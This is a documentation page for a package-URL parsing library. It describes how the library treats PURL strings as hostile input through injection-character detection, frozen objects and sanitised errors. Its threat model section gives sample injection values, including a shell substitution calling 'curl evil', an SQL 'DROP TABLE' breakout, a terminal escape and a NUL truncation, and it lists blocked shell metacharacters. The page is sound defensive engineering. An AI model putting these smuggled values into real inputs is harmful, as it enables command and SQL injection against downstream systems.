Hardening

How the library treats PURL strings as hostile input — injection-character detection, frozen instances, and a strong protective stance.

Topics: Anatomy Building Parsing Validation URL Ecosystems Comparison Security Architecture Builders Contributing Converters Hardening Release Tour VERS

Hardening

How this library treats PURL strings as hostile input and refuses to hand downstream consumers something that can hurt them. Read this if you are touching src/strings.ts, src/objects.ts, src/error.ts, or reviewing a PR that adds a new ecosystem handler.

Who this is for #

Contributors adding or reviewing code paths that read PURL input from the outside (user text, CLI args, API payloads, file contents). The rules here keep the library from being a confused deputy for a caller with hostile intent.

The stance #

Valid PURLs never throw. Hostile input never parses.

That is the whole doctrine. Everything below is mechanics that turn it into code.

A well-formed PURL (passes spec shape + no dangerous characters) builds a frozen PackageURL instance the caller can rely on. An ill-formed PURL throws a PurlError. An input that looks like it wants to be interpreted twice — once as a PURL, and again by a downstream consumer (shell, SQL, URL, log pipeline) — throws a PurlInjectionError before parse. The caller never sees a half-interpreted object.

The threat model #

We assume the attacker controls the PURL string. They may try to:

  1. Inject shell metacharacters so a downstream caller that interpolates the PURL into a command executes something the caller didn't intend. Example: pkg:npm/$(curl evil)/x@1.
  2. Break out of a quoted context so the PURL becomes argv splitting fodder or SQL quote-escape. Example: pkg:npm/a";DROP TABLE pkgs;--/x@1.
  3. Desync terminal / log parsers with control characters, so a log-review tool renders attacker-controlled bytes as if they were tool output. Example: pkg:npm/a\x1b[2Jb/x@1.
  4. Smuggle invisible characters (zero-width spaces, RLO overrides, BOM) so the rendered name looks like one package but resolves to another. Example: pkg:npm/react​act@1.
  5. Truncate with NUL, so a PURL that looks harmless to a JS string parser gets half-read by a C library. Example: pkg:npm/safe\x00evil@1.
  6. Mutate a PackageURL after it has been built, so a consumer downstream sees a different name than the one that was validated upstream.

This doc is how the library refuses all six.

The first line: injection-character detection #

src/strings.ts exports isInjectionCharCode(code: number). It returns true for any character code in one of four classes:

Class Codes Why
C0 control characters 0x000x1f NUL (truncation), TAB / LF / CR (log injection), ESC (terminal escape), everything else in that range
Shell metacharacters + brackets + quotes 0x20 (space), !, ", #, $, %, &, ', (, ), *, ;, <, =, >, ?, [, \, ], `, {, | (pipe), }, ~, DEL Shell interpretation, SQL quote-escape, URL-fragment injection
C1 control characters 0x800x9f Legacy control bytes; some terminals still act on them
Unicode invisible/directional U+200BU+200F, U+202AU+202E, U+2060, U+FEFF, U+FFFC, U+FFFD Zero-width chars, bidi override characters (IDN-homograph attacks), BOM, object replacement

Any input containing one of these characters in a component where we scan for injection throws PurlInjectionError before the standard parse logic runs. The error names:

class PurlInjectionError extends PurlError {
  readonly charCode: number
  readonly component: string
  readonly purlType: string
}

Callers who want to treat injection attempts as auditable events (log, alert, rate-limit the source) can catch specifically for PurlInjectionError and route those up while still handling PurlError as "just a malformed PURL."

The narrower scanner for freer contexts #

Some PURL components (like version strings or URL-based qualifier values) are legitimately allowed to carry characters that are dangerous elsewhere — a URL qualifier value may contain ?, &, =, :, / as part of a normal URL. For those contexts src/strings.ts exports a narrower scanner that only blocks the characters that actually enable shell execution or code injection: the control characters, the shell metacharacters (|, &, ;, `, $, <, >, (, ), {, }, \), and quotes.

The choice between the broad and narrow scanner is the difference between "this component should be a plain identifier" (use the broad scanner; anything non-identifier is suspicious) and "this component is a URL-shaped value" (use the narrow scanner; pass through URL syntax).

The second line: immutable instances #

src/objects.ts exports recursiveFreeze(value). Every PackageURL instance runs through it at construction time:

That means a PackageURL you receive from a library call cannot be mutated by a later code path:

const purl = new PackageURL('npm', undefined, 'safe-pkg', '1.0.0')
purl.name = 'evil-pkg' // silently ignored (strict mode: throws)
purl.qualifiers.key = 'hax' // silently ignored (strict mode: throws)

This matters when a validated PURL is passed through 3+ hops — a middle hop can't secretly modify the object and hand it to the next hop. Validation up front + freeze means "validated" still means something at the endpoint.

The freeze walk is breadth-first with a WeakSet for cycle detection and a hard ceiling at one million nodes (LOOP_SENTINEL). An adversary-constructed cyclic object cannot loop the walker forever; a million-node object graph throws Error("Object graph too large…") rather than OOM-ing the process.

The third line: error messages that don't leak #

src/error.ts's formatPurlErrorMessage normalizes every user-visible error message:

The normalization matters because error strings land in logs, support tickets, and sometimes in HTTP responses. A consistent shape:

When to call what #

Situation Use
Parsing a full PURL string from untrusted input new PackageURL(str) — catches PurlInjectionError + PurlError
Validating a user-submitted PURL in a form PackageURL.fromStringResult(str) — returns Result, collect failures
Building a PURL from already-trusted pieces (internal codepaths) new PackageURL(type, ns, name, version, qualifiers, subpath) — still runs validation but you know the inputs are clean
Comparing two PURLs purl.equals(other) / purl.matches(pattern) — both ReDoS-safe

For converter utilities (URL → PURL, PURL → URL) see docs/converters.md; for the builder API see docs/builders.md.

Red flags when reviewing a PR #

If a PR touches PURL-component handling, pause if you see any of:

  1. Bypassing the injection scan. A rule like "skip isInjectionCharCode for this type because the user won't ever put weird characters there" is exactly the kind of assumption that gets a library blamed for the next CVE. If the scan is expensive in a hot path, optimize the scan — never skip it.
  2. Unfreezing. No Object.freeze(purl, { writable: true }). No cloning into a mutable shape unless it is a new instance being built from scratch. If you see code that hands back a mutable copy, call it out.
  3. Raw char interpolation in error messages. Every PurlInjectionError is built from charLabel, not the raw character. If a new error message string-interpolates a suspect char directly, that message will render the char verbatim in someone's terminal later.
  4. Removing the LOOP_SENTINEL cap on recursiveFreeze or bumping it to Infinity. The ceiling is the last line between a hostile cyclic object and process-wide OOM.
  5. Catching and swallowing PurlInjectionError silently. Injection attempts are a signal, not noise. They deserve to propagate to the caller who can choose to log/alert/block.
  6. New ecosystem handler that doesn't use PurlComponent's shared normalize/validate. Every ecosystem inherits the injection scan via the shared components. An ad-hoc parser inside src/purl-types/<x>.ts bypasses that by default.

What this library does not defend against #

Be honest about scope:

If the caller's use case hits one of these, document it at the boundary; don't try to push it into the library.

Checklist for adding a new ecosystem handler #